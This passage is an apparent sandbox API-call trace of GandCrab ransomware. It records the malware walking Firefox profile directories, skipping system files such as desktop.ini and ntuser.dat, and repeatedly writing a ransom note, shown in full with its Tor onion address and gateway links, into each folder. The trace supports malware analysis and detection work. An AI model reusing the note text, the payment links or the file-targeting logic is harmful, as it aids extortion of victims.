returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home" [0057.754] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home") returned 117 [0057.754] lstrcmpW (lpString1=".default\\storage\\permanent\\moz-safe-about+home", lpString2=".sql") returned -1 [0057.754] FindNextFileW (in: hFindFile=0x5dd988, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 0 [0057.754] FindClose (in: hFindFile=0x5dd988 | out: hFindFile=0x5dd988) returned 1 [0057.755] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0057.755] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\\\GDCB-DECRYPT.txt") returned 115 [0057.755] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage\\permanent\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x508 [0057.755] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0057.755] WriteFile (in: hFile=0x508, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e354, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e354*=0xad6, lpOverlapped=0x0) returned 1 [0057.756] CloseHandle (hObject=0x508) returned 1 [0057.756] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.756] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\") returned 98 [0057.756] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\*" [0057.756] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\*", lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 0x5ddd48 [0057.756] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0057.756] FindNextFileW (in: hFindFile=0x5ddd48, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0057.756] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0057.756] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0057.756] FindNextFileW (in: hFindFile=0x5ddd48, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0057.756] lstrcmpW (lpString1="chrome", lpString2=".") returned 1 [0057.756] lstrcmpW (lpString1="chrome", lpString2="..") returned 1 [0057.756] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\", lpString2="chrome" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome" [0057.756] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\" [0057.756] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0057.756] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0057.756] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0057.756] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0057.756] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0057.756] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.757] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\") returned 105 [0057.757] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\*" [0057.757] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\*", lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 0x5ddd88 [0057.757] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0057.757] FindNextFileW (in: hFindFile=0x5ddd88, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0057.757] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0057.757] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0057.757] FindNextFileW (in: hFindFile=0x5ddd88, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0057.757] lstrcmpW (lpString1=".metadata", lpString2=".") returned 1 [0057.757] lstrcmpW (lpString1=".metadata", lpString2="..") returned 1 [0057.757] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\", lpString2=".metadata" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\.metadata") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\.metadata" [0057.757] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\.metadata") returned 114 [0057.757] lstrcmpW (lpString1=".metadata", lpString2=".sql") returned -1 [0057.757] FindNextFileW (in: hFindFile=0x5ddd88, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0057.757] lstrcmpW (lpString1=".metadata-v2", lpString2=".") returned 1 [0057.757] lstrcmpW (lpString1=".metadata-v2", lpString2="..") returned 1 [0057.757] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\", lpString2=".metadata-v2" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\.metadata-v2") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\.metadata-v2" [0057.757] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\.metadata-v2") returned 117 [0057.757] lstrcmpW (lpString1=".metadata-v2", lpString2=".sql") returned -1 [0057.757] FindNextFileW (in: hFindFile=0x5ddd88, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0057.757] lstrcmpW (lpString1="idb", lpString2=".") returned 1 [0057.757] lstrcmpW (lpString1="idb", lpString2="..") returned 1 [0057.757] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\", lpString2="idb" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb" [0057.757] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb") returned 108 [0057.757] lstrcmpW (lpString1=".default\\storage\\permanent\\chrome\\idb", lpString2=".sql") returned -1 [0057.757] FindNextFileW (in: hFindFile=0x5ddd88, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 0 [0057.757] FindClose (in: hFindFile=0x5ddd88 | out: hFindFile=0x5ddd88) returned 1 [0057.757] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0057.757] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\\\GDCB-DECRYPT.txt") returned 122 [0057.757] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage\\permanent\\chrome\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0057.759] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0057.759] WriteFile (in: hFile=0x50c, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e0cc, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e0cc*=0xad6, lpOverlapped=0x0) returned 1 [0057.759] CloseHandle (hObject=0x50c) returned 1 [0057.760] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.760] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\") returned 105 [0057.760] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\*" [0057.760] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\*", lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 0x5dda88 [0057.760] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0057.760] FindNextFileW (in: hFindFile=0x5dda88, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0057.760] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0057.760] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0057.760] FindNextFileW (in: hFindFile=0x5dda88, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0057.760] lstrcmpW (lpString1=".metadata", lpString2=".") returned 1 [0057.760] lstrcmpW (lpString1=".metadata", lpString2="..") returned 1 [0057.760] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\", lpString2=".metadata" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\.metadata") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\.metadata" [0057.760] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0057.760] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\.metadata") returned 114 [0057.760] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\.metadata") returned 114 [0057.760] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.760] FindNextFileW (in: hFindFile=0x5dda88, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0057.760] lstrcmpW (lpString1=".metadata-v2", lpString2=".") returned 1 [0057.760] lstrcmpW (lpString1=".metadata-v2", lpString2="..") returned 1 [0057.760] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\", lpString2=".metadata-v2" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\.metadata-v2") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\.metadata-v2" [0057.760] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0057.761] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\.metadata-v2") returned 117 [0057.761] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\.metadata-v2") returned 117 [0057.761] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.761] FindNextFileW (in: hFindFile=0x5dda88, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0057.761] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0057.761] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0057.761] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\GDCB-DECRYPT.txt" [0057.761] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0057.761] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\GDCB-DECRYPT.txt") returned 121 [0057.761] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\GDCB-DECRYPT.txt") returned 121 [0057.761] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\GDCB-DECRYPT.txt") returned 121 [0057.761] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\GDCB-DECRYPT.txt") returned 121 [0057.761] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0057.761] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0057.761] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0057.761] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0057.761] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0057.761] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0057.761] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0057.761] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0057.761] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0057.761] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.761] FindNextFileW (in: hFindFile=0x5dda88, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0057.761] lstrcmpW (lpString1="idb", lpString2=".") returned 1 [0057.761] lstrcmpW (lpString1="idb", lpString2="..") returned 1 [0057.761] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\", lpString2="idb" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb" [0057.761] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\" [0057.761] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0057.762] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0057.762] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0057.762] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0057.762] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0057.762] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.762] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\") returned 109 [0057.762] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\*" [0057.762] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\*", lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 0x5ddec8 [0057.766] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0057.766] FindNextFileW (in: hFindFile=0x5ddec8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0057.766] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0057.766] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0057.766] FindNextFileW (in: hFindFile=0x5ddec8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0057.766] lstrcmpW (lpString1="2918063365piupsah.files", lpString2=".") returned 1 [0057.766] lstrcmpW (lpString1="2918063365piupsah.files", lpString2="..") returned 1 [0057.766] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\", lpString2="2918063365piupsah.files" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.files") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.files" [0057.766] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.files") returned 132 [0057.766] lstrcmpW (lpString1=".files", lpString2=".sql") returned -1 [0057.766] FindNextFileW (in: hFindFile=0x5ddec8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0057.766] lstrcmpW (lpString1="2918063365piupsah.sqlite", lpString2=".") returned 1 [0057.766] lstrcmpW (lpString1="2918063365piupsah.sqlite", lpString2="..") returned 1 [0057.766] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\", lpString2="2918063365piupsah.sqlite" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite" [0057.766] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite") returned 133 [0057.766] lstrcmpW (lpString1=".sqlite", lpString2=".sql") returned 1 [0057.766] FindNextFileW (in: hFindFile=0x5ddec8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 0 [0057.766] FindClose (in: hFindFile=0x5ddec8 | out: hFindFile=0x5ddec8) returned 1 [0057.766] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0057.767] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\\\GDCB-DECRYPT.txt") returned 126 [0057.767] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0057.770] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of 